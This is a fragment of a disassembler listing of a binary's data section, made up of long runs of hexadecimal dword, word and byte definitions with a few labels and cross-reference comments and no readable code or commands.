		dd 5E708090h, 0EEBB0BD8h, 0D4C2A5B8h, 2A8274D1h, 81BBEC4Fh
		dd 5409553Ch, 0CEE93500h, 0C7DF3D89h, 0D0A414E8h, 7B00FC9Ch
		dd 97E9EBF9h, 0C1202F7h, 7E163h, 3411732Eh, 60DEDEA7h
		dd 301865CAh, 0E720617Dh, 82021BC9h, 8ADED747h,	0FFCEE025h
		dd 258CE805h, 0A420B903h, 0E0574B02h, 6ECB9E00h, 105676F5h
		dd 0F62507C1h
		dd 0D0E2FC27h, 8D618ED9h, 8F180E02h, 0C07FAD05h, 5BDEA27Ch
		dd 8874CB82h, 9219C0D2h, 1F6095ABh, 553E60A4h, 0A4A8A82Dh
		dd 71250073h, 0FFB6EBEDh, 0F65A49D0h, 12BACCE2h, 3C06CEE6h
		dd 20081B97h, 0CF20D01Fh, 9FB8205Fh, 20A77320h,	6775BD56h
		dd 805C0D80h, 0FA804A7Fh, 0A2398017h, 80520480h, 39D84F48h
		dd 80AC7E31h, 0D4803837h, 0A5298050h, 80202B80h, 5D808430h
		dd 0A4F283C9h, 2919F02h, 7503B5C7h, 7D51201Ah, 32E9CA20h
		dd 0D2097E87h, 36490E06h, 0E141B20Fh, 36CFD920h, 0B91116E4h
		dd 20473820h, 8A207FF1h, 25A12085h, 20703520h, 0D220E6B6h
		dd 981354AFh, 53944001h, 0F2517864h, 2090EA1Dh,	0DA62A301h
		dd 28B52F1h, 502410Ah, 5E220233h, 2894F02h, 3C0639F8h
		dd 0C29120D1h, 20874020h, 2E2096A8h, 0D0BB5462h, 6B8A4028h
		dd 0C49B3240h, 4C5F5B1h, 0FE04AAA0h, 9D29047Bh,	9A810B0Ch
		dd 40236E40h, 90688FA8h, 0D29FCCC1h, 0C01D3360h, 0B1201869h
		dd 0EB512029h, 66368420h, 295A597Fh, 0DBE46554h, 0C40A7A40h
		dd 461A1D1h, 4504F530h,	19830428h, 63FB304h, 40E93D2Fh
		dd 0D9C47844h, 0BC0440CDh, 712D042Eh, 0FA9B504h, 6F31B099h
		dd 1B23BB9h, 0F014F20h,	0ECCE0388h, 11177006h, 3CC1D364h
		dd 27A9F90Ch, 95A9E1C8h, 4922A877h, 73811066h, 1F203239h
		dd 9C056619h, 0D2F8A844h, 497D1106h, 73F19364h,	0C64EA04h
		dd 40987992h, 0BE40C81Eh, 469940E0h, 0C4A86740h, 49C1F59h
		dd 1812B925h, 7EC35857h, 80F3B180h, 29D848C6h, 80C385E9h
		dd 1C80F22Bh, 8CD08165h, 71CE03B9h, 494880B6h, 80B75A80h
		dd 0FA81D506h, 70CBE051h, 1B86D01h, 160192CCh, 10C4036Ah
		dd 10983379h, 3632AF81h, 0E8A26CE9h, 7005336Dh,	0A659AC44h
		dd 483EC04h, 7F06ACE4h,	0CD40111Bh, 76AA4034h, 64648940h
		dd 4C29963h, 580AB02Ah,	8943989Ch, 0F970D0FEh, 53CA499h
		dd 0DE09E4F5h, 0C087FC93h, 0C0E0F17Ch, 2007B210h, 7201E871h
		dd 32A73D38h, 506C9C9Dh, 4DE3E700h, 15AE4328h, 737D6B00h
		dd 0CA71C057h, 93EB0B2Ah, 0C8FE6DE9h, 6E988049h, 0EA9DA544h
		dd 3CEC00D9h, 19B103E8h, 0DE707C5Eh, 0EE981460h, 5950D6h
		dd 0D1820584h, 0E28DC2C9h, 19948197h, 7C299F97h, 0FFFA7503h
		dd 103C2DF0h, 61E40002h, 31DD481Ah, 9250C011h, 632018C7h
		dd 10192A7Ch, 0A0204A5Fh, 88C000DAh, 2300F6FCh,	9FA3A6CDh
		dd 77529F2h, 0A42D4224h, 7BF3E176h, 63F1E8E4h, 0F55DEE09h
		dd 813CCB81h, 80816FB6h, 12038D4h, 18056E72h, 0A0C1BF03h
		dd 188B48D3h, 8086A03Ch, 920C28C6h, 50152E75h, 8B4204AFh
		dd 0A81D2BB9h, 0B2471D9Ch, 59DF0303h, 0BA68331Ah, 0C1A725D8h
		dd 0BC6E1F8Dh, 14D23C80h, 7434D823h, 158E0C3h, 0E7990013h
		dd 0AE9E1005h, 24063D89h, 68908DF6h, 15F57D40h,	0A8CAED75h
		dd 0EBBB7C00h, 4981F2F1h, 0F59B7850h, 376FD00h,	0BE7409C4h
		dd 539A1FFCh, 0DEF083DFh, 0A017D88Ch, 8119759Dh, 0D6FC05D0h
		dd 8518C12Dh, 4CF603F3h, 4CA15F90h, 0F79043EBh,	759ADCF0h
		dd 9C83CE5h, 0E8809857h, 503488h, 0AEF89320h, 466F979Ah
		dd 0C11C7500h, 0CDBEA954h, 9179017Eh, 7BDD6ABFh, 83388DD3h
		dd 8FC870D5h, 9E4B8Dh, 0D80375B0h, 801C3B1Ah, 0E4E9F504h
		dd 48426600h, 50D80118h, 634CD4B4h, 0C990B068h,	0AFF61017h
		dd 0F0E0F8F5h, 0ED057CFEh, 0A4E2D853h, 48CE0C99h, 80960A34h
		dd 8D15F797h, 0BCC591h,	2AB3CCF2h, 0E40F77A5h, 68C002Bh
		dd 195F8236h, 0CD288F20h, 3F0338A8h, 0AB8D4C2Bh, 0AE4000CAh
		dd 36FB5266h, 0B2005C69h, 0F6E5D763h, 3845BAB3h, 0C018CBEBh
		dd 76A2B8B6h, 0FF857407h, 405DE98Dh, 83A1E893h,	0E80EC6D8h
		dd 81217B92h, 0FA1F7552h, 5EAB820h, 87D5CA39h, 0ECECDEh
		dd 0AC3190F4h, 74045B78h, 5059618Dh, 80F8DE5Ch,	48226020h
		dd 2886112h, 758EECEDh,	0EC823C1Eh, 0E848C024h,	5B80EBFAh
		dd 94525063h, 92A94028h, 240CF82Dh, 24C71AC4h, 0CBCA3171h
		dd 84668842h, 34C147ACh, 89E00703h, 8FE80FECh, 0D28C3AC6h
		dd 0E6355E18h, 0FC129149h, 6801A4F8h, 5759417h,	7490871Ch
		dd 0EB10BC8Ch, 90EC9D9h, 0A39B0DF8h, 918C3098h,	6560D0E6h
		dd 90E2EC30h, 0CA200FCh, 0F5FA8EC6h, 0E732E605h, 60ED2077h
		dd 1AA9858h, 24C13906h,	0E9E1FF8Ah, 487D00F5h, 0BE1493D2h
		dd 0FC8D8505h, 94A4447Eh, 0A50D1C23h, 7EC38CDh,	0E8C8A1FBh
		dd 68CF3889h, 0FBF26891h, 1CB23FD8h, 1860CD24h,	3CF03D46h
		dd 0E4A4DEF8h, 84BA5C4h, 0BC3B71F9h, 8EEB80B0h,	0E9145C35h
		dd 22663F75h, 0DF11A883h, 30000976h, 7CF27EE8h,	66A24A7h
		dd 0F759303h, 7093406Ch, 0DCFD8413h, 33714F10h,	0E09510D2h
		dd 92D4DE89h, 3A6026CCh, 2D010BC4h, 0CC00F074h,	17EAA857h
		dd 0ECF088h, 940602FEh,	0AD243AA0h, 0E31FF5B8h,	6E002B96h
		dd 0E99A498h, 8D140ACBh, 9C76C7h, 8736A8B9h, 710068CAh
		dd 2359C69Ch, 0ED18AF5h, 691ED63Dh, 836F4121h, 65E2F0DAh
		dd 0BB94EA18h, 3E162930h, 8200E128h, 0B00323B3h, 0E3E6FE7h
		dd 5ECD94EDh, 0E3D90CCAh, 7E10ECh, 17767F93h, 4F5DFC75h
		dd 4DCA0600h, 65B91357h, 0C65E1A14h, 0DC40F155h, 307B24BAh
		dd 700069FAh, 0FEFC23A8h, 0C3630DF6h, 2A2F5C20h, 232313Ch
		dd 0C175053Dh, 80B48914h, 8E263394h, 25862C18h,	0B8D49530h
		dd 3C84F727h, 0E0087CAh, 2C20498Ch, 0C9DEAC39h,	0D23A1EDCh
		dd 0E8E680C0h, 457B204h, 10DE9326h, 5158CDD4h, 0D22183ACh
		dd 0F21ED440h, 30C49889h, 0E7FE241Ch, 49BC387Ch, 8D16B849h
		dd 0B300E07Eh, 0F43ED4B2h, 902220FFh, 0A809169Ch, 305F00EFh
		dd 0E783C4A1h, 0F7145F09h, 554C82F8h, 261D013Dh, 1883005h
		dd 7F174A00h, 76B54DD6h, 6008A229h, 805A8860h, 80C4B23Bh
		dd 0A0068F7h, 35385869h, 7514CA01h, 0B2CD8EE6h,	0DD0A8C22h
		dd 84B4C5F0h, 0C5828A68h, 9C9822A8h, 0FF751480h, 3201DF47h
		dd 76A735B2h, 11BF4827h, 0CC39CA14h, 2490613h, 83F02FCh
		dd 0DD1AC04Ch, 6069F5C6h, 2661042Ch, 406C667Eh,	0E74A063Fh
		dd 27AA090h, 9B99D0E7h,	0DB3E0500h, 87B8DF97h, 0FF1D26FCh
		dd 0EF3908B4h, 6DA260Bh, 9038D0F8h, 0BC9E5880h,	0EB696D20h
		dd 6B941248h, 0A4201068h, 9B10E37h, 0B300D2E7h,	0B49BFB0Bh
		dd 86F00A0h, 53540377h,	8D1CE198h, 1B09BC93h, 4740A29Ah
		dd 80F204F7h, 698714C4h, 16668A80h, 3F501D9h, 799F4D11h
		dd 401C24B9h, 487E4CFCh, 3F0590A0h, 7875091Fh, 6C80A0AEh
		dd 0B5DC6ECEh, 8DFB0BE6h, 0D024336Dh, 2B0CF928h, 0A03EDCCCh
		dd 20E46998h, 20C85CB2h, 5A00A597h, 57FA931Ch, 75678Eh
		dd 7D31747h, 0CCEADEB5h, 480389E8h, 1EF68781h, 6826A275h
		dd 70BB8C84h, 0CD863E36h, 1832A918h, 1978EBFCh,	10C0F576h
		dd 0E535C311h, 0B52A0073h, 0BC019A5Bh, 1B616075h, 2B76FB20h
		dd 693F5047h, 3C94AE4Ch, 884C6412h, 906BB8CEh, 90C02EB8h
		dd 65A6806Ch, 32F47524h, 0CC54100Fh, 0BF6140CDh, 20DD1BDEh
		dd 672C5FAEh, 0F542508Ah, 2480F9E9h, 40101324h,	4A2A3F28h
		dd 10A07BF5h, 7319885h,	6C7598F6h, 0DA480C01h, 2AC28048h
		dd 8CBF878h, 0CD3402F3h, 5C090A9h, 8A6D0C61h, 0F3062DDh
		dd 0C0D9EF37h, 90322402h, 28CD8DD8h, 0E42F43h, 0AEF1E6AAh
		dd 0DA4885D5h, 6A807CB3h
		dd 0FF866F8Dh, 0BC951E8Ch, 94093968h, 0C4809B85h, 0C914DF6h
		dd 2890E93Ch, 0CDF408EAh, 114C6150h, 758C44A0h,	6C58C42Ch
		dd 0F06FF762h, 450F24C4h, 0DF1002F0h, 0F8EA0D36h, 0B0DDB440h
		dd 8310B760h, 40F0605h,	9A8DFC84h, 24489044h, 3000339Ch
		dd 136535D2h, 5FFD86C9h, 0B96481C8h, 0F3288587h, 0C8732675h
		dd 0DA601042h, 0E89A260Eh, 3C751F10h, 5F1890B5h, 11F61069h
		dd 63F88C51h, 4A2402F8h, 2C958Dh, 574B07B5h, 75278601h
		dd 0A2E0DD6Dh, 4D8E588Bh, 1D670C05h, 558405FCh,	2BE4D168h
		dd 0C6EC02EDh, 19EF26D4h, 32DA13F4h, 7511B25Ch,	890749C1h
		dd 60FECC02h, 726B1800h, 383D6469h, 3E30FD9Ah, 1050CCF5h
		dd 3D793659h, 808C7CFBh, 9B98C6CBh, 0DE15AFE2h,	98C28ECh
		dd 1BB8F87Eh, 9CA4Ch, 2F2030D4h, 6CF02200h, 4F5FCD70h
		dd 0D7F826D3h, 683E00C0h, 9456EE0Dh, 50F3DE2Eh,	165C03BDh
		dd 200810EFh, 0D0BBEB0h, 202AE386h, 39204094h, 1005007Bh
		dd 88A42738h, 2640E5FFh, 22FE0248h, 0DF0F45B8h,	688914D4h
		dd 0E7B41088h, 2CA2631h, 3E0AA8D8h, 0A05EE8A4h,	0B8A11AA0h
		dd 2FE820B9h, 0EB583490h, 0A4E82CA0h, 5ED1762h,	0AF58803Eh
		dd 37068536h, 18A2DE92h, 0C3710071h, 0FCDD29FEh, 0FD0724F6h
		dd 1AB7619Dh, 0CD0FEC90h, 0B3720095h, 21753981h, 17003683h
		dd 0DEF50CEEh, 3F43023Ch, 73076938h, 51151F7Ah,	35D38F89h
		dd 0F91C2138h, 7BA03325h, 0B5802494h, 770352FFh, 0D44B8BAh
		dd 6F0DDDCEh, 234828F8h, 0BA983F96h, 226248DAh,	282A3899h
		dd 59AA7513h, 0ECDCF440h, 678717h, 50F05769h, 0ED253732h
		dd 81D58D01h, 7538E50Eh, 31F320h, 14842D62h, 5CE3DC4Dh
		dd 0A0511D79h, 32438B8h, 0CBF776FFh, 0FC50A771h, 3AD139Ah
		dd 1AF551CDh, 67F87504h, 3B5C0F73h, 15F074F7h, 8D000376h
		dd 1D4C5BD4h, 1F7D3116h, 0C526FAD1h, 40239ADEh,	0C99787C0h
		dd 0F500E30Bh, 4ED86AE4h, 0E463C0D5h, 80CA5639h, 2B1D1Eh
		dd 0DFD0B2B3h, 0FCA0490Eh, 34FF068Dh, 2A12B408h, 5CD139EBh
		dd 0F841D597h, 0EE0242D6h, 4EDDC440h, 0F610AF60h, 9CAD8A77h
		dd 0E3C1007Ch, 12E2005h, 0D83C0E2Ah, 1C04304Fh,	0C00348Eh
		dd 5082AAF3h, 17C1A5Ch,	4311FF5Ch, 0B300ECEDh, 0A801CC5Ah
		dd 74F31D20h, 39802BEEh, 23889C19h, 73006917h, 878EE154h
		dd 0F3EF7h, 93145DD5h, 8D0EAC4Dh, 0C2007CE8h, 7AC12412h
		dd 0B246A786h, 421A2070h, 0F505B898h, 714A8A7Ch, 40FA8031h
		dd 603D0CFh, 4E62C94h, 86C24AFh, 0A428B236h, 0C1B55F0Fh
		dd 0D8C5ABD7h, 2196E4F0h, 0F3018D67h, 40C7E4B6h, 75395822h
		dd 72C4B4D8h, 3452ABBCh, 694D4E0h, 84DE86Ch, 992070CAh
		dd 44195AB0h, 4C3DA00h,	98F051EEh, 0CC56409Bh, 26AD621Eh
		dd 2976AFC7h, 0A4181400h, 5185784Dh, 0FC300801h, 80589E34h
		dd 366B5B67h, 0F50045B5h, 0FE4B01E8h, 0AD59402h, 0EBFFDE8Eh
		dd 26BC68FCh, 0DE606FE4h, 0CF1A75BBh, 3CC410D0h, 9EEB0B07h
		dd 384CE8h, 25FA66BDh, 0B4F7F82Bh, 54366700h, 0D16F6927h
		dd 92070653h, 0E16CDF04h, 60EC10Bh, 0EAC01049h,	3B85805Dh
		dd 0C0902C4Ch, 0E2B4B335h, 97FB0EE4h, 568083D6h, 64DCA19h
		dd 9A1D9EE8h, 0F683F445h, 4A4B7F8Dh, 1E181E90h,	3D08A9EEh
		dd 88B0F3A0h, 603AEB1Fh, 0D145E89Dh, 34C2FCC9h,	577510DAh
		dd 874D00F5h, 91D5068Fh, 0A80C20DEh, 41A0933Ah,	0B78A208Eh
		dd 0F09228Ch, 3F97700h,	0CDB54B3Fh, 0A0291265h,	1DEE0048h
		dd 5BF2F505h, 2FAF0A1Fh, 80737149h, 0AE4F3580h,	8B4D0070h
		dd 0DFAC011Ah, 0F716EDF5h, 34F06C8Dh, 30DA275Ch, 58DD6890h
		dd 62E0BC55h, 2F67187Ch, 0DB399h, 46A5FD84h, 0E18D93BEh
		dd 0C01E492h, 12483A63h, 0EEF8401h, 17761C68h, 4750D7C1h
		dd 0E3844CBAh, 914F258h, 0C1D2DF03h, 483C9A08h,	0BCFF93C1h
		dd 0CC48809Eh, 7E856D5Fh, 0EBF70913h, 0B30B0CFEh, 2AE2E822h
		dd 0E4A20440h, 0E070E881h, 729B4A08h, 60ECAB4h,	2E104BA8h
		dd 4014195Eh, 1743010Dh, 0A7DD18C4h, 265794C0h,	2B240F74h
		dd 7009FA4Ch, 27016802h, 0D2B4415Fh, 1D003863h,	0C506041Bh
		dd 0C125E33h, 3888DB8Dh, 67E22EEDh, 0F4E1372Ch,	62C8B0B8h
		dd 12D46348h, 0F4370275h, 413C774h, 335D6D4h, 0D177579Bh
		dd 10B80307h, 0F60EE309h, 853A90C8h, 0D2F1F501h, 82DE93C6h
		dd 2CD0E6EAh, 5B40B3Dh,	0C0D8E297h, 0D9DB21AEh,	0CD98AE00h
		dd 488995B5h, 29770704h, 90EE5035h, 980EAB4Dh, 14CCA453h
		dd 3AF4618Fh, 56B090Fh,	0E8D810AEh, 4198908Ah, 50B06052h
		dd 0EE394F01h, 67178334h, 0F0188893h, 892A5C88h, 0C26501Ch
		dd 415A18EFh, 0A455BAFCh, 2571409h, 9050D3ACh, 1D1625BCh
		dd 0F26B31Dh, 56F31175h, 0CB480AACh, 0D8EA128Ch, 752F8C44h
		dd 0C6C8E294h, 0B078B060h, 0FA222060h, 7AE95B00h, 702B7707h
		dd 90F0EEh, 867F75E8h, 6EED8BCDh, 0B406F800h, 0CE0CEA2Eh
		dd 0BE4891C0h, 5A8AF01h, 247CB38Dh, 0FA139E90h,	5C94C1EBh
		dd 482EF0A2h, 2206CC0h,	980BFA00h, 0AED463E6h, 1F289AF2h
		dd 214F8F7h, 0EE4FC875h, 18A68C5Bh, 45300608h, 4C80AC4Ch
		dd 1B2088h
		db 9Ah,	0A1h, 93h
byte_4E4143	db 0FEh			; DATA XREF: ___:0044482Co
		dd 5202713h, 1C10752Ch
dword_4E414C	dd 8D24388h		; DATA XREF: ___:off_443700o
dword_4E4150	dd 1202631Ah, 59F26861h, 886A0FACh, 21A2DD22h, 2583F879h
					; DATA XREF: ___:00444908o
		dd 81CA4CDAh, 0D820D5D0h, 0EAA07D4h, 62968769h,	41600207h
		dd 97606F67h, 0F33EFA11h, 8CF4B0D2h, 8C553AF8h,	0F0440449h
		dd 7D2709BDh, 900B4093h, 0B9A43C40h, 52F45F04h,	0C4F4AE04h
		dd 768C0167h, 75199A3Ah, 77DBE3B6h, 0DEFC111Ch,	6528D258h
		dd 15C8905Ah, 0A4877590h, 67DC3B78h, 0E4C8C4D8h, 3D893010h
		dd 460CC0E0h, 9297580h,	0D4CCF1DCh, 0D5994820h,	33F97695h
		dd 5BB52038h, 48C016Fh,	0A645BA8Dh, 0CCC2EC40h,	838518Bh
		dd 6801FD6Eh, 0F023BD6Ch, 406F4460h, 0B8C4624Fh, 41342E8h
		dd 8040C38Ch, 47B852Ch,	0B70B7C9Ch, 0C2A809A5h,	44F08948h
		dd 0C650897Ch, 32018860h, 60B12561h, 0DCAB02h, 4CDED00Dh
		dd 1ED05C4Dh, 394AE5A4h, 5D00BCD7h, 0C9323826h,	76FC1D8Ch
		dd 873F8528h, 0B070C4D5h, 962CB5BCh, 410058E5h,	0F6745FF3h
		dd 6275791Ch, 0DFEDA0A6h, 4FBCDC88h, 1C56B3EBh,	80C75C44h
		dd 2047812Dh, 0F1846CD0h, 0B814A8Dh, 0C4223D40h, 300CF93h
		dd 23C6769h, 0FF346D26h, 107EDADEh, 6F758F03h, 0DB7908AFh
		dd 0F3428867h, 18F885E3h, 73DC8804h, 3D78C501h,	0C22C2C05h
		dd 0F032FDDh, 1E20894Ah, 80ADD98Dh, 2E947CF3h, 1889C017h
		dd 5C708163h, 9C23FE3Ah, 0FC043D00h, 42C97B9Ah,	9020A0A8h
		dd 7545E004h, 0FA0F1E22h, 8A148C96h, 2C3B5C84h,	15F6049h
		dd 28C6100h, 0EA43419h,	17759B16h, 5E108880h, 81DA6AB4h
		dd 759583F0h, 20132226h, 5C0130FBh, 1BC9C825h, 19974028h
		dd 88E070h, 1398DF62h, 4995BACh, 3CA6998h, 3C326704h, 0AF4560E8h
		dd 1DDC9910h, 32F79420h, 1B10227Ah, 9005B905h, 908D6919h
		dd 26CA29C8h, 8B60D95Fh, 0E072BC2Ch, 8039373Eh,	1076BF8Fh
		dd 96F62AF7h, 219C8088h, 368D09A2h, 0EB3003B7h,	0BC8CB818h
		dd 40C20FDCh, 94E2DD50h, 96E385C0h, 88D47030h, 5595C33h
		dd 0D757DECh, 0E78C0167h, 7C02CA39h, 3CB67400h,	82F3FC09h
		dd 5DAE75BCh, 5DFDBC01h, 206C7976h, 40BCAE52h, 40C2E73Fh
		dd 0A5120402h, 1CF00CD4h, 4E589C76h, 30583369h,	0F9DF0208h
		dd 4A620906h, 0FC8D40C8h, 0DDE07861h, 208F6E1Ch, 0B5C384F5h
		dd 7EB04607h, 0D5380681h, 0A98D9F69h, 7C42AA18h, 24525461h
		dd 0DDB408Fh, 4423694Bh, 3C30D104h, 7B9E44Ch, 2D95F11Ah
		dd 281EF601h, 0F503FF12h, 26017828h, 20BB35h, 0F21449Fh
		dd 38328DC0h, 0E67668FBh, 87D44B74h, 1DC0E418h,	1F3742C0h
		dd 0B6EA60h, 0D28DCD90h, 752AF97Fh, 3E8CFC07h, 5EC09DEDh
		dd 1CE1A5F6h, 2D9EDD72h, 0D4A0DC7Ah, 6498CB99h,	70C888BEh
		dd 7076A96Eh, 9451042Ch, 0B915C375h, 0A598C078h, 7CDD0DDCh
		dd 71E603E5h, 0C0D38607h, 25F6FD98h, 899BFB3Bh,	0C30C73CEh
		dd 462AE0C0h, 5D855807h, 0EA00A23Bh, 0D66316Dh,	4D0224C2h
		dd 5CCBFF8Ch, 7904D2F4h, 0F2F53A8Dh, 28121A80h,	317466C9h
		dd 3B75CA0Ch, 4E3991Eh,	14675E6Ah, 4C8CD161h, 9468004Eh
		dd 0A46C02A8h, 8E3C8DEEh, 2ABA2F00h, 0B8415110h, 949F90F0h
		dd 4440A538h, 0E880D958h, 0DEFB0C7Ah, 3510F055h, 0E4047276h
		dd 0DB34CE7h, 0E25E9CC2h, 4A585920h, 0D490850h,	1CCC9013h
		dd 44365C04h, 0F048A7C4h, 5E3AF1Ch, 52F2B4A0h, 682AB8B6h
		dd 7594A82Ch, 795F6741h, 0AEF890D9h, 0E07A7F5h,	45FEB568h
		dd 3DA8DB70h, 0F32851A2h, 93105F0h, 0B34D5107h,	83B02000h
		dd 7603FD65h, 2D50AB09h, 7990E7C6h, 544555h, 0ED051C1Dh
		dd 7D4D8EF0h, 41B7DE25h, 9440BA14h, 2FFA9B18h, 78C06D8Dh
		dd 6F5868FBh, 11810016h, 7D997CF5h, 0C0CB17F4h,	0FBF4C065h
		dd 0B07F399Ah
		db 0B6h, 1Ch
word_4E4556	dw 0E92h		; DATA XREF: ___:0044498Co
		dd 0DF100C80h, 0BCD754C1h, 58CBC11h, 30B90305h,	207D7584h
		dd 86158B3Ah, 7C9F958Dh, 92B6EE11h, 1065BD8h, 0AA011054h
		dd 76B45218h, 0F4889CE1h, 10B1BA3Bh, 5C45E813h,	89331E6h
		dd 1257F38Dh, 611848h, 0CC860594h, 0DC2E3BE0h, 6970CD3h
		dd 60E25C12h, 6CBC994Ah, 971A0EA4h, 17B9EE6h, 5B70F07h
		dd 7420574Ch, 6B6541C9h, 6CCED440h, 0E7AD7h, 399DA79Ch
		dd 2AAA1EE5h, 0C14F0CF8h, 3F0064E6h, 9865390Fh,	0BD02BFA4h
		dd 0B98DDBD2h, 879C59C5h, 0C7FF9A0Bh, 0C8E44917h, 6364E89Eh
		dd 402D9CCDh, 0C8D30E19h, 18A04501h, 87D4E8DCh,	5C277624h
		dd 81AEF742h, 0FFF6F578h, 25170862h, 93F80286h,	8B192B76h
		dd 6148222Ah, 750CF4C8h, 48C57931h, 2DD9EBh, 51FC9426h
		dd 8A447CCCh, 0DC26B03Bh, 38FB0D08h, 24C8DA25h,	0E709D563h
		dd 2F53449h, 542A3813h,	12B4A8D4h, 0C973760Ch, 0D558349Ch
		dd 0B49BB898h, 368834A4h, 3D7B8012h, 906C95EAh,	0C20CFD18h
		dd 0B479DD91h, 916D00E0h, 82370F36h, 88945724h,	0FF03B12Ch
		dd 846E8Bh, 2775DD10h, 91F9244Dh, 0F45FC614h, 0FFD01CCh
		dd 7FF26C61h, 5C7823h, 82D1E784h, 0F8C825FCh, 9001816Ch
		dd 0FBB58E58h, 59D98D47h, 0F884EC65h, 1EE89F4Ch, 93026B8Eh
		dd 8F856h, 67A90AFDh, 28C04878h, 1B2C9258h, 28F6138Dh
		dd 73ECB1F1h, 58AC3290h, 70BC8675h, 9EED0108h, 0E3E52132h
		dd 2366DD8Dh, 0C9327838h, 794810F0h, 9CFC1274h,	0F8208D70h
		dd 0C2AE00C1h, 10C4621h, 8B25A47h, 2C201800h, 0C9314396h
		dd 13630355h, 41FD75ABh, 4F7B039h, 72A31FD7h, 6402CCC1h
		dd 98E3EB02h, 3578E8C1h, 6BA02498h, 0E1DC5A4Ch,	0C044DEF5h
		dd 9825748Ch, 0C8232F50h, 0A061A0A5h, 29C0BB08h, 9A5C80F6h
		dd 85570653h, 18628DDEh, 0BC886700h, 752FDFD0h,	6170F0FAh
		dd 658D11BDh, 0C840BECBh, 81C6CB94h, 0DD8F01B8h, 19EBC20h
		dd 3603AF7h, 4C879D8Dh,	14B0FCACh, 0E48A7E08h, 1FF50FCCh
		dd 6E20E45Ch, 309304h, 0C626DB48h, 74809555h, 0E11C25E3h
		dd 0F8D67CCCh, 0F7F600FAh, 0EA7FF3FFh, 0BD49DE74h, 617B130Ch
		dd 80C41434h, 4ADD44B0h, 2748C0D9h, 0F02676Dh, 21C7D33h
		dd 0C1C441EAh, 1D46B5C4h, 53031125h, 0EB300496h, 52B109BCh
		dd 128F420h, 79725406h,	0C1768A4Dh, 1118405h, 13BE568Dh
		dd 0D404CC24h, 0C2F294A8h, 0B18D8083h, 3E28C9F7h, 3F046853h
		dd 98B84A28h, 40C01D27h, 38DCFA07h, 0ACDEF9CFh,	12665840h
		dd 43128A77h, 4805B560h, 0E18020h, 0E3F72F0Bh, 0E675B712h
		dd 0EDF93Eh, 6AB5CA16h,	7627D56Ch, 1CE760F6h, 47897B1h
		dd 0FB854707h
		db 0CCh, 89h, 0C1h
byte_4E4843	db 9Ah			; DATA XREF: ___:00444AFCo
					; ___:00444B3Co ...
		dd 0E220277Fh, 70B4011Dh, 0DE8A34ECh, 7CC8EEFAh, 0E700F58Bh
		dd 11A951B8h, 4CEB5463h, 2978CD1h, 0A69CDD74h, 94FA474h
		dd 9ACD0F0h, 0F5F88A85h, 0F108B4F1h, 5E9D0155h,	0DC8FEBBBh
		dd 0DE781ADBh, 1A6E1E26h, 0E79AD51Eh, 0BF54C169h, 0B7CDD10h
		dd 0EB427494h, 64E840D4h, 0D81081A7h, 3489275h,	26A109A4h
		dd 80304A16h, 0C84B390h, 2CC27081h, 89C4450Dh, 245A145Bh
		dd 0BFB80497h, 0E1F6C024h, 43ECACD8h, 5718CB60h, 9718FF92h
		dd 0D8D22886h, 0B1309B58h, 0DFC0C1B3h, 0B0119725h, 17611669h
		dd 0FC9913h, 52508C40h,	0EA4DE2DDh, 0A3FC48B4h,	367188A0h
		dd 168D2DFBh, 3206ACE1h, 69D1DED0h, 0AE8D0281h,	1F18225Bh
		dd 8480D8CCh, 1145C4Dh,	0F5BA2831h, 614CF050h, 57DD10C6h
		dd 1056D817h, 0F928009Dh, 42CD053Eh, 0DC285FA9h, 1F2E5E01h
		dd 0E7F7C9E0h, 669D4800h, 2616FCD4h, 90C1FBDDh
		db 96h,	75h
word_4E4946	dw 0F8CAh		; DATA XREF: ___:0044466Co
					; ___:00444674o
		dd 0F9250154h, 0DCB26FB7h, 0C4C8F0E0h, 0CBAE60C0h, 4FD70E8h
		dd 0D274FE1Eh, 0C470E802h, 2CBC11F6h, 3478DD1Dh, 20D4CB58h
		dd 0AC8295CAh, 0EAE30118h, 49E5E009h, 9DC09814h, 261D2E5Ch
		dd 202027A8h, 0B4F628BCh, 75E3DE05h, 60939C51h,	0CDC0FEDh
		dd 3D859BECh, 265898BEh, 59F82D40h, 0F2107044h,	103F248Ah
		dd 0C747183Ch, 4DDB910h, 612E5755h, 0EF00AE66h,	0FF84EDA3h
		dd 146C9E47h, 5F0FACD4h, 5573407h, 0B1B78D34h, 7322C460h
		dd 0EF81F500h, 0DF0D9325h, 5BB40098h, 0DD67BA86h, 0C492A9E4h
		dd 422DD43Ah, 36338609h, 4CAEEC64h, 84B10E78h, 0E1DD0C8Bh
		dd 4233DA4h, 68EF750Ch,	0DD1727E8h, 1028D74Fh, 90389C02h
		dd 0E8C98C0Eh, 99D162DFh, 75C1FD9Dh, 0C608AC3h,	0B464DCE5h
		dd 1939A081h, 8F9BFA00h, 30489274h, 6C9C01CCh, 7D354208h
		dd 1690E070h, 406A108Dh, 57051B3Ch, 0CD2EFF8Bh,	0D20AC412h
		dd 4345EC20h, 3C1FCC17h, 852418A7h, 0E86C4CB4h,	39C072D6h
		dd 1794702h, 5594E40Ch,	424838Ch, 141057B0h, 1E95C91Eh
		dd 0FF960D06h, 96F4098h, 899F9738h, 0FF88321h, 89CDC07Ch
		dd 9DD5A684h, 2D2FEA00h, 7418E7A3h, 9D687A1Fh, 6AE0E99h
		dd 0A4F3DF0Bh, 480695B8h, 5FF2F6Fh, 0BD8B0AEh, 0EC020176h
		dd 649B2420h, 6A58A5D2h, 50E400AAh, 7C4DB4C1h, 86EA18h
		dd 0A0B0DD21h, 69010D2Fh, 0CC3C8097h, 4B663B5h,	670E6B92h
		dd 38C0F952h, 0D44DAE8Dh, 0F9969882h, 0F58AE01Dh, 4929007Bh
		dd 7068D8A1h, 3F05D650h, 83A88D5Eh, 0C9F99493h,	0F087BA52h
		dd 66D936B5h, 3B0FB0DAh, 929758D0h, 4DD87200h, 0F01EF6D7h
		dd 0E08A0A7h, 0DE453086h, 3E6C74D8h, 0A45E8CA2h, 0EB188D96h
		dd 3CF9F869h, 35123605h, 49E8A377h, 0E6980478h,	0D898C98Eh
		dd 1FC70050h, 3106FB01h, 28005363h, 3865CDD4h, 1740F94h
		dd 735D68FDh, 0C92B5764h, 0ED07086h, 267A231Dh,	0CE53B44Bh
		dd 63CF9014h, 0F39D68CCh, 0F6A359E0h, 68D32817h, 8042A499h
		dd 2640016Eh, 0B929E0C2h, 0FC9110D3h, 102C8AF6h, 20620C89h
		dd 0FB4BBCC4h, 0F7756880h, 0CF9269Ah, 201E01ACh, 0F76D0119h
		dd 3FC683Eh, 6CA6927Eh,	8AC1EF0Dh, 3007BA98h, 0D886F613h
